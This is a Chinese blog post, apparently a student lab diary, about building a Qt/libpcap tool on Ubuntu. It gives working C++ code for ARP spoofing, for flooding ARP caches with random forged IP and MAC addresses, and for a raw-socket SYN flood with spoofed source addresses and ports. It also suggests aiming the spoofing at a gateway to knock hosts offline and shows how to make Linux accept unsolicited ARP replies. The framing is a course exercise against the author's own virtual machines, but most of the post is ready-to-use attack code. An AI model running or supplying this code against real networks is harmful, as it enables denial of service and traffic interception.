记一次累累累的过往:在Linux环境下的项目实现

写在前面:当你看到这篇文章的时候,我有可能已经完成了这个实训,这是边做边写的一个叙事流,或者是什么私心分享流)。

 大书记官艾尔海森为你写诗:)

任务背景:

  1. 在任意环境下实现ARP欺骗(主)、某种攻击、嗅探数据包
  2. 实现可视化编程
  3. 编程语言不限

我使用的环境和基本配置:

环境:Windows11,Ubuntu 22.04LST,Kali 最新版(后面两个是Linux虚拟机,请百度安装)

编程语言:C++,C

可视化工具:QtCreator 5.12.12 (Ubuntu下)

编译器:gcc,g++

需要安装的库:libpcap

一些前置条件:

  • 在创建Qt项目环境之后,请立刻在.pro文件里面空白行加上
    LIBS += -L/usr/local/lib -lpcapQT+=network
  • 运行程序的时候请用root身份,或者直接百度如何设置Ubuntu的root身份。
  • 请将两个虚拟机设置成桥接网络连接,并且不要用校园网,尽量用家用WIFI或者热点也可以。

进入正题:ARP欺骗

首先,有没有人知道ARP是什么玩意呀?(눈_눈)

不知道的,先百度捏。不多说,先把它的基本包结构呈上,因为这个是我们编程的主要难点,不知道包结构的话,直接宣判了死亡。

这里一目了然(哼哼),包含以太网首部和ARP首部,以及我们可以控制的部分包括后面的部分:发送者硬件地址、发送者IP地址、目标硬件地址、目标IP地址。(图源)

说白了可以设计的部分包含这几个

  1. ar_op 操作码:控制这个ARP包是属于应答包还是请求包
  2. arp_sha(sender_mac_address)发送者的Mac地址,可以写真的或者假的0-0!
  3. arp_spa(sender_ip_address)发送者的IP地址,可以写真的或者假的0-0!
  4. arp_tha(target_mac_address)接收者的Mac地址,写真的!因为假的没有意义。
  5. arp_tpa(target_ip_address)接收者的IP地址,写真的!因为假的没有意义。

这些将会在后续的ARP攻击中成为关键字,也就是你的函数的入口参数。因为它们可以改呀。

太多字了,大家看完了就休息一会。所以,我看张帅哥不过分吧?(눈▂눈)

咳咳,接下来继续!

从0开始的Qt编程之旅(什么?什么梅?)

首先,打开你装好的QtCreator,创建Qt Widget项目,是包含可视化界面的,如果你不想要的话,就选console项目。Qt做为前置基础哦,不知道或者不熟悉的小火鸡们先去康康B站教程,或者直接硬刚,边搜边做(我就是)。

建立类文件,包含.h,.cpp的文件,类名避免重复!!!最好用arp_info或者arp_packet或者arp_party?用了一个arp_hrd命名之后不让我用了,真是怪事,应该是重名了。

这里我基本代码参考了一位佬的代码!有疑问的直接去看也没关系。

但是他用的其实是winpcap,呃,问题不大!我们也成功地能融合!(눈▽눈)(确信)

在此之前最好再有点关于libpcap的基本知识,比如pcap_t是啥?pcap_sendpacket()又是啥?pcap_open_live()又是啥?回调函数之类的...

欸欸,越说越远了,不会就搜,很快的。

我们在建好文件之后,最重要的是把ARP包建出来,根据那个图定义一个基本结构体,注意里面的数据类型,基本上不会变,但是其实可以用Qt自己的类型写一点,不过基本上是C多些,只要没有signal.h就不会和Qt冲突。关于signal.h冲突和bash文件间接调用C编译文件,我会在末尾写一下?

写在arp_info.h:

头文件

#include <QDateTime>
#include <QDebug>
#include <stdio.h>
#include <stdlib.h>
#include <pcap/pcap.h>
#include <string.h>
#include <QString>
#include <QRegExp>
#include <sstream>
#include <string>
#include <QList>

ARP的字段结构体如下:

#define EtherType 0x0806
#define HardWareType 0x0001
#define ProtocolType 0x0800
#define ARP_Response 0x0002
#define ARP_Request 0x0001
typedef struct tagARPFrame
{unsigned short  HW_Type;//硬件类型,2字节,填充0x0001unsigned short Prot_Type;//协议的类型,2字节,填充0x0800unsigned char HW_Addr_Len;//MAC地址长度,1字节unsigned char Prot_Addr_Len;//IP地址长度,1字节unsigned short  Opcode;//操作码,2字节,0x0001为请求包,0x0002为应答包unsigned char Send_HW_Addr[6];//发送方的MAC地址unsigned char Send_Prot_Addr[4];//发送方的IP地址unsigned char Targ_HW_Addr[6];//接受方的MAC地址unsigned char Targ_Prot_Addr[4];//接收方的IP地址unsigned char padding[18];// padding data -> all 0
} ARPFRAME, *PARPFRAME;

物理帧头

typedef struct tagDLCHeader
{unsigned char DesMAC[6];//以太网目的mac地址unsigned char SrcMAC[6];//以太网源目的mac地址unsigned short Ethertype;//帧类型
} DLCHEADER, *PDLCHEADER;

以太网头+ARP头

typedef struct tagARPPacket
{DLCHEADER dlcHeader; //以太网头部ARPFRAME arpFrame;//arp头部
} ARPPACKET, *PARPPACKET;

声明两个主要函数: 发送ARP包、制造ARP包

class arp_info
{
public:arp_info();//构造函数我不使用 可以放着void sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket);ARPPACKET make_arp_packet(char* i_srcIP, char* i_desIP, char* i_srcMac, char* i_desMac,int i_opcode);
};

写在arp_info.cpp里:

发ARP包:pcap_t 是打开文件句柄使用,用于探测网络接口。后面那个是刚刚定义的ARP包结构体指针地址。fp传入获取的句柄,发送成功或者失败都会用qDebug()打印消息,最好用这个,不然用printf会累积在缓冲区,无法显示。

void arp_info::sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket)
{//发包if (pcap_sendpacket(fp,             // Adapter(const u_char *)&ARPPacket,     // buffer with the packetsizeof(ARPPacket)               // size) != 0){qDebug()<<QString("send NULL ! \n");qDebug()<<QString("Error sending the packet\n Send NULL!\n");return;}else{arp_msg += QString("Send Arp Packet size:%1 successfully!\n").arg(sizeof(ARPPacket));qDebug()<<QString("send OK! \n");}
}

定义一个把MAC地址字符转成二进制字符数组的方法:strtoul

int mac_str_to_bin(char *str, char *mac)
{int i;char *s, *e;if ((mac == nullptr) || (str == nullptr)){return -1;}s = (char *)str;for (i = 0; i < 6; ++i){mac[i] = s ? strtoul(s, &e, 16) : 0;if (s)s = (*e) ? e + 1 : e;}return 0;
}

我直接写了一个接口生成ARP包:

传入刚刚我们提到的重要关键字就能生成,普通发送传1,攻击使用2作为操作码。

ARPPACKET arp_info::make_arp_packet(char* i_srcIP, char* i_srcMac, char* i_desIP, char* i_desMac, int opCode)
{ARPPACKET Arp_packet;mac_str_to_bin(i_srcMac, (char*)Arp_packet.dlcHeader.SrcMAC);mac_str_to_bin(i_desMac, (char*)Arp_packet.dlcHeader.DesMAC);Arp_packet.dlcHeader.Ethertype = htons(EtherType);Arp_packet.arpFrame.HW_Type = htons(HardWareType);Arp_packet.arpFrame.Prot_Type = htons(ProtocolType);Arp_packet.arpFrame.HW_Addr_Len = 6;Arp_packet.arpFrame.Prot_Addr_Len = 4;if(opCode == 1){Arp_packet.arpFrame.Opcode = htons(ARP_Request);arp_msg += QString("-----The arp packet is a Request packet.-----\n");}else{Arp_packet.arpFrame.Opcode = htons(ARP_Response);arp_msg += QString("-----The arp packet is a Response packet.-----\n");}//inet_pton() 将一个IP地址字符串转换为网络字节序(即大端序)的二进制IP地址表示 10->2//ntohl() 网络字节序32bit->主机字节序32bit// AF_INET ipv4 address familyinet_pton(AF_INET, i_srcIP, Arp_packet.arpFrame.Send_Prot_Addr);inet_pton(AF_INET, i_desIP, Arp_packet.arpFrame.Targ_Prot_Addr);mac_str_to_bin(i_srcMac, (char*)Arp_packet.arpFrame.Send_HW_Addr);mac_str_to_bin(i_desMac, (char*)Arp_packet.arpFrame.Targ_HW_Addr);qDebug()<<"send_mac_bin"<<Arp_packet.arpFrame.Send_HW_Addr;qDebug()<<"to_mac_bin"<<Arp_packet.arpFrame.Targ_HW_Addr;// fit 0memset(Arp_packet.arpFrame.padding, 0, sizeof(Arp_packet.arpFrame.padding));QStringList temp = {QString("%1").arg(i_srcIP),QString("%1").arg(i_desIP),QString("%1").arg(i_srcMac),QString("%1").arg(i_desMac),QString("%1").arg(sizeof(Arp_packet)),"ARP"};arp_table.append(temp);arp_msg += QString("Sender Host from ip:[%1],mac:[%2]\n-----sends %3 size arp packet to-----\nTarget Host from ip:[%4],mac:[%5]\n").arg(i_srcIP).arg(i_srcMac).arg(sizeof(Arp_packet)).arg(i_desIP).arg(i_desMac);qDebug()<<QString("Sender Host from ip:[%1],mac:[%2]\n-----sends %3 size arp packet to-----\nTarget Host from ip:[%4],mac:[%5]\n").arg(i_srcIP).arg(i_srcMac).arg(sizeof(Arp_packet)).arg(i_desIP).arg(i_desMac);return Arp_packet;
}

编辑白板mainwindow.ui文件如下:

文本显示框textBrowser重命名为arpwin,按钮QPushButton为arp_msg。

在你的窗体文件mainwindow.cpp里面写:这里自己填充数值如下:(我乱写的,真实数据在终端使用"ifconfig-a"获取)

    connect(ui->arp_msg,&QPushButton::clicked,[=]{arp_packet ARP;// To begin with: if you want to attack please edit the opCode as 2.// the first and second items can be fake to attack the target host.// the third and forth items must be known.ARP.make_arp_packet("xx:xx:xx:xx:xx:xx","255.255.255.255","xx:xx:xx:xx:xx:xx","255.255.255.255");// default send once.ARP.send_arp_packet();ui->arpwin->setPlainText(ARP.arp_msg);});

这里的ARP.arp_msg可以加在后面用于统计数据或者日志!(什么创新点?)

然后我用这个攻击了一下我可怜的Kali,要联网!要联网!要联网!

注意一点:Linux不接受未请求的ARP回应,也就是说默认情况下,你单独发一个ARP回应包是不会被写入缓存表的,你要是看见了在里面那肯定是它自己写进去的,不是通过我们的手写进去的。

修改方式如下:(永久)

/etc/sysctl.conf文件里写net.ipv4.conf.all.arp_accept=1
然后终端执行 sudo sysctl -p

就能接收包并写入了!

效果如下:

第一条默认网关的

其中第二条是我Ubuntu的ARP包!可见成功了!下次用网关地址就可以实现断网。

加上循环发包!缓存表爆炸!

这回加上随机伪造IP和MAC用于ARP缓存表溢出攻击

std::string arp_info::Random_IP(int r)
{qsrand(QTime(0,0,0).secsTo(QTime::currentTime())+r);int start = 0;int end = 256;std::string res = "";for (int i=0; i<4; ++i){// random range [0,255]int k= qrand() % end+start;std::string temp = std::to_string(k);res += temp;if(i<3){res += ".";}}return res;
}
char* arp_info::Random_MAC(int r)
{qsrand(QTime(0,0,0).secsTo(QTime::currentTime())+r);int start = 0;int end = 16;for(int i = 0; i < 12; i++){// random range [0,11],[a,f]int k = start + qrand() % end;temp_set[i] = Char_set[k];}int i = 0, j = 0;for(i =0; i<12; i++, j++){if(target_set[j]!=':'){target_set[j] = temp_set[i];}else{j++;target_set[j] = temp_set[i];}}return target_set;
}

后来还可以写一个SYN Flood类用于测试服务器压力,首先你要有一个服务器,不然啥也测不出来

Kali 配置默认的apache服务器,使用本地IP,端口是80,就可以了。

//SynFlood.h
#ifndef SYNFLOOD_H
#define SYNFLOOD_H
#include <QDateTime>
#include <sys/socket.h>     // for socket
#include <sys/types.h>      // for socket
#include <netinet/in.h>     // for sockaddr_in
#include <netinet/tcp.h>    // for tcp
#include <netinet/ip.h>     // for ip
#include <arpa/inet.h>      // for inet_
#include <net/if.h>         // for ifreq
#include <memory.h>         // for memset
#include <unistd.h>         // for usleep
#include <string>
#include <QDebug>
#include <QList>
class SynFlood
{
public:explicit SynFlood();virtual ~SynFlood();QString syn_msg = "";QList<QStringList> syn_table = {};QString desip = "";QString desport = "";/*SynFlood初始化*/int init(std::string ip_addr, int port);/*SynFlood攻击*/int attack(int flood_times);
protected:/*初始化rawSocket*/int initRawSocket();/*初始化ip数据报*/int initIpData();
private:/*addrInfo*/std::string ip_addr;int port;/*rawSocket*/struct sockaddr_in addr;    //地址结构体信息int socket_fd;              //socketunsigned char ip_datagram[sizeof(struct ip) + sizeof(struct tcphdr)];       //ip数据报unsigned int ip_datagram_len = sizeof(struct ip) + sizeof(struct tcphdr);   //ip数据报长度struct ip *ip_header;       //ip首部指针struct tcphdr *tcp_header;  //tcp首部指针
};#endif // SYNFLOOD_H//SynFlood.cpp
#include "synflood.h"u_int16_t check_sum(u_int16_t *buffer, int size);SynFlood::SynFlood()
{srandom(time(nullptr));QDateTime dateTime;dateTime = QDateTime::currentDateTime();syn_msg = "--------SYN Flood Information--------\n";syn_msg += dateTime.toString("yyyy-MM-dd hh:mm:ss\n");
}SynFlood::~SynFlood()
{ip_header = nullptr;tcp_header = nullptr;
}/*SynFlood初始化*/
int SynFlood::init(std::string ip_addr, int port)
{// initiate the ip and port for objectthis->ip_addr = ip_addr;this->port = port;desip = QString::fromStdString(ip_addr);int res = initRawSocket();if(res!=0){return -1;}initIpData();return 0;
}/*初始化rawSocket*/
int SynFlood::initRawSocket()
{// 创建对方地址信息addr.sin_family = AF_INET;// ipv4 协议族addr.sin_addr.s_addr = inet_addr(ip_addr.c_str());addr.sin_port = htons(port);// 创建原始套接字,TCPsocket_fd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);if(socket_fd<0){perror("socket:");return -1;}qDebug() << "sock:" << socket_fd  << endl;syn_msg += QString("Already create a socket called:%1.\n").arg(socket_fd);// 防止自动填充数据包int on = 1;int opt =  setsockopt(socket_fd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));if(opt<0){perror("opt:");return -1;}return 0;
}/*初始化ip数据报*/
int SynFlood::initIpData()
{// 初始化ip数据报 ip_datagram(IP首部+TCP首部+TCP数据部分)memset(&ip_datagram,0,sizeof(ip_datagram));
//    qDebug()<< "ip_datagram size :" << ip_datagram_len << endl;syn_msg += QString("Make a %1 size IP data packet.\n").arg(ip_datagram_len);// 构建IP首部和TCP首部指针ip_header = (struct ip *)ip_datagram;tcp_header = (struct tcphdr *)(ip_datagram + sizeof(struct ip));//ip首部后面就是tcp报文段了/*封装ip首部*/// 版本 4ip_header->ip_v = IPVERSION;// 首部长度 4   右移 2 位(相当于除以 4)得到长度以 32 位字为单位的值ip_header->ip_hl = sizeof(struct ip)>>2;// 服务类型(types of service) 8ip_header->ip_tos = 0;// 总长度 16//htons()将主机字节序转换为网络字节序ip_header->ip_len = htons(ip_datagram_len);// 标识 16ip_header->ip_id = 0;// 标志+偏移 16ip_header->ip_off = 0;// 生存时间 8ip_header->ip_ttl = 0;// 协议 8  TCP protocol --value==6ip_header->ip_p = IPPROTO_TCP;// 首部检验和 16ip_header->ip_sum = 0;// 源地址(可伪造) 32//ip_header->ip_src.s_addr = inet_addr("127.0.0.1");// sockaddr_in addr -->(sin_addr,sin_port)// 目的地址 32  addr.sin_addr 中存储的是一个二进制形式的 IPv4 地址ip_header->ip_dst = addr.sin_addr;/*封装tcp首部*/// 源端口 16 , 在syn攻击部分随机伪造端口//tcp_header->source = htons(m_port);// 目的端口 16tcp_header->dest = addr.sin_port;// 序号 32tcp_header->seq = 0;// 确认号 32tcp_header->ack_seq = 0;// 数据偏移 4//tcp_header->res1 = 0;// 保留 4tcp_header->doff = 5;  // 这里从wireshark来看是指的是数据偏移,resl和doff的位置反了,不知道是头文件有问题还是什么的,应该不是大小端问题。//res2+urg+ack+psh+rst+syn+fin 8//tcp_header->res2 = 0;//tcp_header->urg = 0;//tcp_header->ack = 0;//tcp_header->psh = 0;//tcp_header->rst = 0;tcp_header->syn = 1;//tcp_header->fin = 0;// 窗口 16//tcp_header->window = 0;// 检验和 16tcp_header->check = 0;// 紧急指针 16//tcp_header->urg_ptr = 0;return 0;
}/*syn攻击*/
int SynFlood::attack(int flood_times)
{/*synFlood*/for(int i = 0 ; i < flood_times ; i++){// 伪造ip源地址u_int32_t m_ip = random();ip_header->ip_src.s_addr = htonl(m_ip);// 伪造tcp源端口tcp_header->source = htons(random());
//        qDebug() << "Fake ip:" << inet_ntoa(ip_header->ip_src) << "Fake port:" << tcp_header->source << endl;syn_msg += QString("Sender Host from:[%1],port:[%2]\n------sends a TCP packet for SYN to-----\nTarget Host from[%3],port[%4]\n").arg(inet_ntoa(ip_header->ip_src)).arg(tcp_header->source).arg(desip).arg(port);QStringList temp = {QString("%1").arg(inet_ntoa(ip_header->ip_src)),QString("%1").arg(desip),QString("%1").arg(tcp_header->source),QString("%1").arg(port),QString("%1").arg(ip_datagram_len),"SYN"};syn_table.append(temp);
//        qDebug()<<"temp_syn_table"<<syn_table;/*计算tcp校验和*/ip_header->ip_ttl = 0;tcp_header->check = 0;// ip首部的校验和,内核会自动计算,可先作为伪首部,存放tcp长度ip_header->ip_sum = htons(sizeof(struct tcphdr));// 计算tcp校验和,从伪首部开始tcp_header->check = check_sum((u_int16_t *)ip_datagram+4,sizeof(ip_datagram)-8);ip_header->ip_ttl = MAXTTL;// 发送int res =  sendto(socket_fd,ip_datagram,ip_datagram_len,0,(sockaddr *)&addr,sizeof(struct sockaddr_in));qDebug() << res << endl;if(res<0){perror("res");return -1;}usleep(10000);if(res>0){syn_msg += QString("SYN Flood sends successfully!\n");}}return 0;
}u_int16_t check_sum(u_int16_t *buffer, int size)
{//建议将变量放入寄存器, 提高处理效率.register int len = size;//16bitregister u_int16_t *p = buffer;//32bitregister u_int32_t sum = 0;//16bit求和while( len >= 2){sum += *(p++)&0x0000ffff;len -= 2;}//最后的单字节直接求和if( len == 1){sum += *((u_int8_t *)p);}//高16bit与低16bit求和, 直到高16bit为0while((sum&0xffff0000) != 0){sum = (sum>>16) + (sum&0x0000ffff);}return (u_int16_t)(~sum);
}

最后的东西还得和界面结合,这只是我关于ARP的测试界面,后面的界面是这样的:

封面:(当初是按照神堕八岐大蛇的配色配的)

ipdump部分:

ARP部分:

实验版真好康(눈益눈)哈哈哈哈哈

变身!

还整了一个用来显示数据的表格

 

日志如下

QT表格代码截取,从网上爬下来的格式就挺多bug的,不过丢给ChatGPT好像改改就好了。

//QTable to output the data for arp attackui->tableWidget->setColumnCount(6);ui->tableWidget->setFocusPolicy(Qt::NoFocus);QStringList headerText = {"srcIP","desIP","srcMac","desMac","Length","Attack Type"};ui->tableWidget->setHorizontalHeaderLabels(headerText);ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows);  //设置选择行为时每次一行ui->tableWidget->setEditTriggers(QAbstractItemView::NoEditTriggers); //设置表格内容不可编辑ui->tableWidget->setStyleSheet("selection-background-color:rgb(208, 163, 246);"); //设置选中行的背景色ui->tableWidget->horizontalHeader()->setDefaultAlignment(Qt::AlignCenter);// center alignui->tableWidget->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);ui->tableWidget->horizontalHeader()->setSectionResizeMode(3, QHeaderView::Fixed);ui->tableWidget->setColumnWidth(3, 150);ui->tableWidget->horizontalHeader()->setSectionResizeMode(2, QHeaderView::Fixed);ui->tableWidget->setColumnWidth(2, 150);ui->tableWidget->horizontalHeader()->setSectionResizeMode(0, QHeaderView::Fixed);ui->tableWidget->setColumnWidth(0, 145);ui->tableWidget->horizontalHeader()->setSectionResizeMode(1, QHeaderView::Fixed);ui->tableWidget->setColumnWidth(1, 145);QTableWidgetItem *item = new QTableWidgetItem("item");//获取原有字体设置QFont font = item->font();//设置为粗体font.setBold(true);//字体大小font.setPointSize(10);//字体颜色item->setTextColor("rgb(255, 255, 255)");//设置字体item->setFont(font);// syn table data configui->syn_table->setColumnCount(6);ui->syn_table->setFocusPolicy(Qt::NoFocus);QStringList syn_header = {"srcIP","desIP","srcPort","desPort","Length","Attack Type"};ui->syn_table->setHorizontalHeaderLabels(syn_header);ui->syn_table->setSelectionBehavior(QAbstractItemView::SelectRows);  //设置选择行为时每次一行ui->syn_table->setEditTriggers(QAbstractItemView::NoEditTriggers); //设置表格内容不可编辑ui->syn_table->setStyleSheet("selection-background-color:rgb(208, 163, 246);"); //设置选中行的背景色ui->syn_table->horizontalHeader()->setDefaultAlignment(Qt::AlignCenter);// center alignui->syn_table->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);ui->syn_table->horizontalHeader()->setSectionResizeMode(3, QHeaderView::Fixed);ui->syn_table->setColumnWidth(3, 150);ui->syn_table->horizontalHeader()->setSectionResizeMode(2, QHeaderView::Fixed);ui->syn_table->setColumnWidth(2, 150);ui->syn_table->horizontalHeader()->setSectionResizeMode(0, QHeaderView::Fixed);ui->syn_table->setColumnWidth(0, 145);ui->syn_table->horizontalHeader()->setSectionResizeMode(1, QHeaderView::Fixed);ui->syn_table->setColumnWidth(1, 145);QTableWidgetItem *syn_item = new QTableWidgetItem("item");//获取原有字体设置QFont syn_font = syn_item->font();//设置为粗体syn_font.setBold(true);//字体大小syn_font .setPointSize(10);//字体颜色syn_item->setTextColor("rgb(255, 255, 255)");//设置字体syn_item->setFont(syn_font);connect(ui->show_details,&QPushButton::clicked,[=]{//show table details QList<QList{QStringList{QString}}>// QStringList format:{{srcIP,desIp,srcMac,desMac,Length,AttackType},{}} one unit// arp_tableif(!arp_table.isEmpty()){int rowCount = arp_table.size(); // 获取数据的行数for(int i=0;i<rowCount;i++){QList<QStringList> innerList = arp_table[i]; // 获取该行的QStringListfor(int j=0; j<innerList.size();j++){// 插入新的一行int row = ui->tableWidget->rowCount();ui->tableWidget->insertRow(row);QStringList temp = innerList[j];
//                       qDebug()<<"temp"<<temp;for(int k=0; k< temp.size(); k++){QTableWidgetItem *item = new QTableWidgetItem(temp[k]); // 创建单元格ui->tableWidget->setItem(row, k, item); // 添加单元格到表格}}}}if(!syn_table.isEmpty()){//syn_tableint syn_row = syn_table.size(); // 获取数据的行数for(int i=0;i<syn_row;i++){QList<QStringList> innerList = syn_table[i]; // 获取该行的QStringList//               qDebug()<<"arp_table[i]"<<arp_table[i];for(int j=0; j<innerList.size();j++){// 插入新的一行int row = ui->syn_table->rowCount();ui->syn_table->insertRow(row);QStringList temp = innerList[j];//                   qDebug()<<"temp"<<temp;for(int k=0; k< temp.size(); k++){QTableWidgetItem *item = new QTableWidgetItem(temp[k]); // 创建单元格ui->syn_table->setItem(row, k, item); // 添加单元格到表格}}}}});// multi rowconnect(ui->table_clear,&QPushButton::clicked,[=]{QList<QTableWidgetItem*> items = ui->tableWidget->selectedItems();QSet<int> rows;foreach(QTableWidgetItem *item, items){rows.insert(item->row());}// 从最后一行开始循环删除foreach(int row, rows){ui->tableWidget->removeRow(row);}QList<QTableWidgetItem*> syn_items = ui->syn_table->selectedItems();QSet<int> syn_rows;foreach(QTableWidgetItem *item, syn_items){syn_rows.insert(item->row());}// 从最后一行开始循环删除foreach(int row, syn_rows){ui->syn_table->removeRow(row);}});//all clearconnect(ui->all_clear,&QPushButton::clicked,[=]{int rowCount = ui->tableWidget->rowCount();for (int i = rowCount - 1; i >= 0; i--) {ui->tableWidget->removeRow(i);}int syn_row= ui->syn_table->rowCount();for (int i = syn_row - 1; i >= 0; i--) {ui->syn_table->removeRow(i);}});

关于bash的部分,还是说一下吧,因为呢C语言有些东西是嵌入不进去QT的,比如这个signal.h函数会和QT自己的信号函数定义重合,所以必然冲突,但是singal.h是用于接收键盘输入的信号,这里如何嵌入QT并模拟Ctrl+C中断效果?

那就要用到bash这个脚本,虽然这样写很野蛮,但是效果却还可以?!

这里的调用顺序大致是从Stop.sh->Run.sh->Test.exe->stest.sh->MYLOG.txt.

首先编译你的C文件,得到可执行程序,粘贴到building类似Debug里的文件夹,然后在里面写bash文件调用可执行程序。

Ctrl+C 原来我是用timeout来模拟,但是根本就不一样,人家是手动暂停,我这里自动了,那不对!要用一个进程号表示那个可执行程序的进程,然后用INT信号杀掉才对。

# !/bin/bash
PID=$(pgrep -f your_exe_name)
# echo "$PID"
kill -INT $PID

如果有人要用我的程序,请一定要看懂这些乱七八糟的bash文件是什么意思,不然就会觉得很难理解....或者根本不要用我的垃圾代码谢谢,因为超级多粗暴的处理方式和写法。

(눈益눈)(눈益눈)(눈益눈)(눈益눈)(눈益눈)

源码

终于结束力!可以玩原神和写英语了.....

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/29534.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Prompt learning 教学[技巧篇]:通过增加示例、引导词、特殊符号指令等方式让chatgpt输出更好的答案

Prompt learning 教学[技巧篇]&#xff1a;通过增加示例、引导词、特殊符号指令等方式让chatgpt输出更好的答案 技巧1&#xff1a;To Do and Not To Do 在问答场景里&#xff0c;为了让 AI 回答更加准确&#xff0c;一般会在问题里加条件。比如让 AI 推荐一部电影给你 Recomme…

对含有中英文的文本去除停用词 结巴分词

对含有中英文的文本去除停用词 分词 这里的停用词表可以自己定义或者采用网上的 是文本分类 情感分析进行预处理的步骤 from collections import Counter import jieba**# jieba.load_userdict(userdict.txt) **# 创建停用词list**** def stopwordslist(filepath):stopwords …

一、(4) 结巴分词词性提取

一、&#xff08;4&#xff09; 结巴分词词性提取 代码如下&#xff1a; # -*- coding: utf-8 -*- """ Created on Tue May 14 14:45:01 2019author: sun """ import jieba.posseg as psg import codecs# 建立结果保存路径 result codecs.ope…

结巴分词加字典分词词性标注

1 代码 import jieba import jieba.posseg as pseg jieba.load_userdict("data/entity_noun_dic.txt") jieba.add_word(word"重置", tag"v") jieba.del_word("送别") jieba.del_word("人流量")result pseg.cut("请问光…

使用斯坦福分词器进行词性标注

使用斯坦福分词器进行词性标注 文章目录 使用斯坦福分词器进行词性标注前言一、斯坦福分词器是什么&#xff1f;二、使用步骤1.去官网下载工具包2.导入库3.斯坦福模型功能的介绍4.分词结果展示5.分词结果进行分析 三、总结 前言 中文分词是中文文本处理的一个基础步骤&#xf…

力扣 139. 单词拆分

一、题目描述 给你一个字符串 s 和一个字符串列表 word_dict 作为字典。请你判断是否可以利用字典中出现的单词拼接出 s。 注意&#xff1a;不要求字典中出现的单词全部都使用&#xff0c;并且字典中的单词可以重复使用。 示例 1&#xff1a; 输入: s "leetcode"…

文本分析-使用jieba库进行中文分词和去除停用词(附案例实战)

&#x1f935;‍♂️ 个人主页&#xff1a;艾派森的个人主页 ✍&#x1f3fb;作者简介&#xff1a;Python学习者 &#x1f40b; 希望大家多多支持&#xff0c;我们一起进步&#xff01;&#x1f604; 如果文章对你有帮助的话&#xff0c; 欢迎评论 &#x1f4ac;点赞&#x1f4…

解单词拆分问题

问题描述&#xff1a; 题目&#xff1a;Leetcode第139题 难度&#xff1a;中等 给你一个字符串 s 和一个字符串列表 wordDict 作为字典。请你判断是否可以利用字典中出现的单词拼接出 s 。 注意&#xff1a;不要求字典中出现的单词全部都使用&#xff0c;并且字典中的单词可以重…

一次 Netty 不健壮导致的无限重连分析

由于 OOM 导致不健壮的 Netty 一系列诡异的行为&#xff0c;这次的问题分析会比上次那个更有意思一点。&#xff08;备注&#xff1a;本文 Netty 版本是上古时代的 3.7.0.Final) 现象描述 开发的同学反馈 dubbo 客户端无法调用远程的服务&#xff0c;抓包来看&#xff0c;客户…

G2SAT: Learning to Generate SAT Formulas论文精读

0. Abstract SAT&#xff08;布尔可满足&#xff09;问题被证明是一个经典的np完全问题&#xff0c;作为一个计算机科学的基本问题&#xff0c;在决策、验证和理论证明等很多方面都有应用。目前的SAT求解器的开发和评估依赖于现有的有限的现实问题&#xff0c;且现有的手工制作…

【论文精读】A Survey on Knowledge Graphs Representation, Acquisition and Applications

A Survey on Knowledge Graphs Representation, Acquisition and Applications 前言Abstract1. INTRODUCTIONII. OVERVIEWA. A Brief History of Knowledge BasesB. Definitions and NotationsC. Categorization of Research on Knowledge GraphD. Related Surveys III. KNOWLE…

SharpContour论文精读

SharpContour: A Contour-based Boundary Refinement Approach for Efficient and Accurate Instance Segmentation 论文链接&#xff1a;[2203.13312] SharpContour: A Contour-based Boundary Refinement Approach for Efficient and Accurate Instance Segmentation (arxiv…

【论文精读】HumanNeRF

目录 Abstract1.Introduction2.Related workHuman specific renderingNeural radiance fieldsHuman-specific neural renderingConcurrent work 3.Representing a Human as a Neural FieldCanonical volumeSkeletal motionNon-rigid motionPose correction 4.Optimizing a Huma…

GAN论文精读以及基础讲解

GAN精读论文&#xff1a;Neurips-2014-Generative Adversarial Nets 根据李沐老师的讲解加上笔者个人的理解做的一个笔记&#xff0c;希望能够对想了解GAN的求学者有所帮助&#xff01; 一、标题、作者、期刊 论文的标题名为Generative Adversarial Nets&#xff0c;中文解释…

我在工作群和ChatGPT聊了会天,找到了升职加薪的新思路

ChatGPT 大火&#xff01; 我们知道&#xff0c;基于 AIGC 的 ChatGPT 可以整合信息并“回复”给我们所需的很多类答案&#xff0c;比如写论文、作诗、画画&#xff0c;不过现在&#xff0c;ChatGPT 已经从火出圈的现象级 AI 应用&#xff0c;迅速被更多开发者融入到更多产品工…

容联七陌:ChatGPT大模型能力为智能客服带来新方向

科技云报道原创。 近几个月来&#xff0c;大众对ChatGPT预期的持续走高&#xff0c;也影响到了智能客服领域公司的命运。 一方面&#xff0c;ChatGPT的出现为智能客服场景带来了更加“智能”的可能性&#xff1b;但另一方面&#xff0c;有人认为ChatGPT完全可以替代现有的智能…

ChatGPT爆火之后,视觉研究者坐不住了?谷歌将ViT参数扩大到220亿

本文来源 机器之心 编辑&#xff1a;泽南 视觉模型有很大的提升空间&#xff0c;研究者们在以往的 LLM 中学到经验教训&#xff0c;认为扩展是一个很有前途的方法。来自谷歌的研究者将 ViT 扩展到 22B 参数量&#xff0c;这是迄今为止报道的最大的视觉主干。 与自然语言处理类…

Android之Android studio实现智能聊天机器人

Android实现智能聊天机器人 最近在做项目中,突然来了灵感,要做一个聊天机器人.聊天机器人在很多大型App上都有使用,比如QQ群里的QQ小冰,淘宝京东等App上在没有人工客服之前会有机器人跟你聊天,根据你发的问题关键词,向你推荐一些答案,可以省下很多人工的时间以及减小服务器的压…

图像复原之维纳滤波

基本原理 图像复原是图像处理的重要组成部分&#xff0c;由于图像在获取和传输过程中通常不可避免的要受到一些噪声的干扰&#xff0c;因此在进行其他图像处理以及图像分析之前&#xff0c;应该尽量将图像复原到其原始真实状态。图像复原的关键问题是在于建立退化模型。图像退…

图像复原

1图像复原的而理论模型 定义&#xff1a;在成像过程中&#xff0c;由于成像系统各种因素的影响&#xff0c;可能使获得的图像不是真实景物的完善影像。图像在形成、传播和保存过程中使图像质量下降的过程&#xff0c;称为图像退化。图像复原就是重建退化的图像&#xff0c;使其…